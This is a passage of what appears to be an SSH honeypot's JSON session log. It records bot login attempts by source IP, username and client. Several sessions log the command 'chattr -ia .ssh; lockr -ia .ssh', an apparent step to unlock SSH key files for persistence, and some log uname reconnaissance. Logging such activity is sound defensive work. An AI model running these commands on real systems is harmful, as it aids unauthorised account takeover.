  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "dcfb3d69-cc4c-4120-9d60-c07c2fa180eb",
  "name": "dappled-balmy-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59660,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:26.042174+00:00",
  "ended_at": "2026-08-27T12:29:27.519024+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "6f5b8ece-b33e-4d78-b9da-05147aaf9f4f",
  "name": "plush-smooth-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:21.716141+00:00",
  "ended_at": "2026-08-27T12:29:22.325099+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd6bfb18-9673-4919-8fb6-a713144fa732",
  "name": "scarlet-noble-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:19.654254+00:00",
  "ended_at": "2026-08-27T12:29:21.183880+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14aa3042-67a4-4881-b2b1-8310bb7ba4d7",
  "name": "airy-humble-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38420,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:15.453202+00:00",
  "ended_at": "2026-08-27T12:29:16.861202+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f2acf93-459d-4ad4-b3b2-a666f3f3f304",
  "name": "dappled-wry-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 35920,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 296,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:15.331459+00:00",
  "ended_at": "2026-08-27T12:29:17.343007+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "6280a327-465c-4df1-b5d5-b9675d7c5f1c",
  "name": "earnest-wistful-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38414,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:13.457418+00:00",
  "ended_at": "2026-08-27T12:29:14.802822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a10d1225-3c08-4425-abc5-796a877cd38c",
  "name": "dutiful-ancient-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59680,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:08.314116+00:00",
  "ended_at": "2026-08-27T12:29:09.417444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bc4e181-152e-498b-ba33-53785e7ccfbc",
  "name": "snowy-wandering-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:06.321759+00:00",
  "ended_at": "2026-08-27T12:29:07.433348+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "195e9eb7-d36c-4b2a-96d4-beda6f9cbb6c",
  "name": "ivory-pewter-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 42630,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1024,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:02.832543+00:00",
  "ended_at": "2026-08-27T12:29:04.521724+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "b386ba73-81c9-43ef-843b-c14566f34d7f",
  "name": "thorny-muted-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 35938,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:00.192414+00:00",
  "ended_at": "2026-08-27T12:29:01.049726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60c10fb3-b5b8-4ad8-9fcb-1d5001ff4404",
  "name": "gnarled-jaunty-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 35932,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:59.002169+00:00",
  "ended_at": "2026-08-27T12:28:59.614047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46da42dc-cd25-498c-a6bc-d5e0ba5f458d",
  "name": "prickly-velvet-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 50174,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:28:44.489796+00:00",
  "ended_at": "2026-08-27T12:28:44.595534+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "9f3ecd1c-7a69-44d7-a173-9417aa543899",
  "name": "wiry-kindly-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41066,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:34.705551+00:00",
  "ended_at": "2026-08-27T12:28:36.644016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e78db84f-61db-418f-aa82-338a894d3258",
  "name": "crimson-quartz-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41054,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:30.992723+00:00",
  "ended_at": "2026-08-27T12:28:33.061112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "046b6074-3b9c-4437-be5f-664598711280",
  "name": "foggy-snowy-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42818,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:40.954237+00:00",
  "ended_at": "2026-08-27T12:27:41.855899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "1047406f-7e04-4b83-9acb-2aca205290c8",
  "name": "regal-polar-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:37.812022+00:00",
  "ended_at": "2026-08-27T12:27:39.366564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7f977971-69f4-4ae9-884a-f8be46307eba",
  "name": "drifting-forlorn-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51178,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:22.943577+00:00",
  "ended_at": "2026-08-27T12:27:24.437268+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c63f30a5-589e-464b-a6b8-d2683c8bdc01",
  "name": "hushed-crystal-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51174,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:21.268757+00:00",
  "ended_at": "2026-08-27T12:27:22.426865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22892b3d-d131-484e-917f-862a3ce159ef",
  "name": "graceful-vivid-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55848,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:20.268770+00:00",
  "ended_at": "2026-08-27T12:27:22.206557+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "07a8b002-e46c-4c82-8a4e-a0dd06cf8cd0",
  "name": "autumn-buoyant-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42824,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:18.578573+00:00",
  "ended_at": "2026-08-27T12:27:19.616724+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25d66104-34c2-4c5f-ade7-028a24f97cd8",
  "name": "flinty-wistful-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 37032,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:13.056486+00:00",
  "ended_at": "2026-08-27T12:27:14.294599+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "d3423258-f40a-42c6-bf9a-bd07fb05eb64",
  "name": "dapper-fickle-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 49350,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:56.921523+00:00",
  "ended_at": "2026-08-27T12:26:57.801895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f807a9dc-0371-4075-a8ef-0fd14b1e7c83",
  "name": "jaunty-arctic-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:55.031586+00:00",
  "ended_at": "2026-08-27T12:26:56.342637+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "968341c1-d34d-4470-806b-cb94fa62108f",
  "name": "languid-ivory-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59630,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:26:45.087105+00:00",
  "ended_at": "2026-08-27T12:26:46.215932+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "c23adb4a-128c-4966-a030-6d229fb93564",
  "name": "rapid-watchful-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59652,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:27.916026+00:00",
  "ended_at": "2026-08-27T12:26:29.424429+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65a1f566-17af-44e0-a275-608820cf40c3",
  "name": "brazen-austere-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59636,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:26.264910+00:00",
  "ended_at": "2026-08-27T12:26:26.995020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e00e9b56-c236-4a32-a457-8a88a1fa0e97",
  "name": "electric-tawny-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33410,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 735,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:26:03.861784+00:00",
  "ended_at": "2026-08-27T12:26:05.485026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d0ad47f4-68a4-4754-8d3d-94ab5cded373",
  "name": "marine-canny-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 52288,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:42.587861+00:00",
  "ended_at": "2026-08-27T12:25:43.393795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fe44b2d-599e-4b97-8931-4318d9559b8d",
  "name": "foggy-misty-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49174,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:42.378488+00:00",
  "ended_at": "2026-08-27T12:25:44.615648+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "ed63d988-1374-465e-bf40-45f76822a113",
  "name": "solemn-freckled-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 52280,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:40.256018+00:00",
  "ended_at": "2026-08-27T12:25:41.047617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c7a5674-dfff-4d57-9627-4a9660cb5bfe",
  "name": "prickly-russet-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 38224,
  "username": "ripple",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:25:38.243103+00:00",
  "ended_at": "2026-08-27T12:25:38.348201+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "6164e871-e416-451f-b1d6-b7e6271cd5e2",
  "name": "jaunty-eager-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 41570,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 262,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:35.353754+00:00",
  "ended_at": "2026-08-27T12:25:37.508863+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "759f2d2d-cae8-4e9a-9238-0cc155fa6cfa",
  "name": "subtle-thrifty-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34182,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:22.725003+00:00",
  "ended_at": "2026-08-27T12:25:24.706843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1af447ce-fdd1-4518-937f-e586c76cb910",
  "name": "lucid-early-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41584,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:20.895177+00:00",
  "ended_at": "2026-08-27T12:25:22.237623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36a620af-bbd1-4283-a08c-bb00b45d7448",
  "name": "drifting-pleasant-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34170,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:20.313844+00:00",
  "ended_at": "2026-08-27T12:25:22.192943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "488a5bfa-5307-4805-9f5a-f9fff9d70d22",
  "name": "sturdy-windswept-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41576,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:19.353158+00:00",
  "ended_at": "2026-08-27T12:25:20.367589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7273483-844f-4f55-8407-0aa02975a1e6",
  "name": "cobalt-mellow-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43194,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:10.272603+00:00",
  "ended_at": "2026-08-27T12:25:12.003698+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "c609e80c-f74a-45fa-b811-f4993efa53cf",
  "name": "idle-grumpy-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43210,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:24:54.126131+00:00",
  "ended_at": "2026-08-27T12:24:56.054262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f72e4528-4031-409e-a024-0a823793d484",
  "name": "keen-zealous-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43206,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:24:52.658340+00:00",
  "ended_at": "2026-08-27T12:24:53.539746+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb",
  "name": "genial-nautical-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:54.173175+00:00",
  "ended_at": "2026-08-27T12:23:55.165052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "08df2f51-54d1-4c35-ae9f-f6a520b52ca0",
  "name": "valiant-glacial-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 44666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:42.940114+00:00",
  "ended_at": "2026-08-27T12:23:44.192085+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4f90064b-960b-400b-9f25-4a883d22f38a",
  "name": "plush-primal-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:35.609298+00:00",
  "ended_at": "2026-08-27T12:23:37.010763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f11e200c-eb70-48ff-a8d6-cccf34ada516",
  "name": "misty-rustic-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38258,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:34.967823+00:00",
  "ended_at": "2026-08-27T12:23:36.194833+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "3510307a-316b-4301-9a7e-679af1e64893",
  "name": "fleeting-crimson-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59612,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:33.453243+00:00",
  "ended_at": "2026-08-27T12:23:34.690485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0062a03-d96f-4390-8073-908cfdfc2009",
  "name": "earnest-brave-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44694,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:28.016151+00:00",
  "ended_at": "2026-08-27T12:23:29.108055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f04d438-5bd3-4155-abe8-eb4def1c29f1",
  "name": "calm-hardy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:25.737846+00:00",
  "ended_at": "2026-08-27T12:23:27.367678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcbc8593-4abc-4ccc-a817-5b52dd5fe132",
  "name": "tawny-merry-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38270,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:19.834102+00:00",
  "ended_at": "2026-08-27T12:23:20.562100+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28a4ee71-6a88-4b33-8da9-041526a4ef56",
  "name": "hazel-cobalt-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33152,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 730,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:18.917772+00:00",
  "ended_at": "2026-08-27T12:23:20.111497+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "b63a05e6-9534-42b7-9ae1-ea6d67cc92e9",
  "name": "jaunty-woven-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38266,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:17.840015+00:00",
  "ended_at": "2026-08-27T12:23:19.306721+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
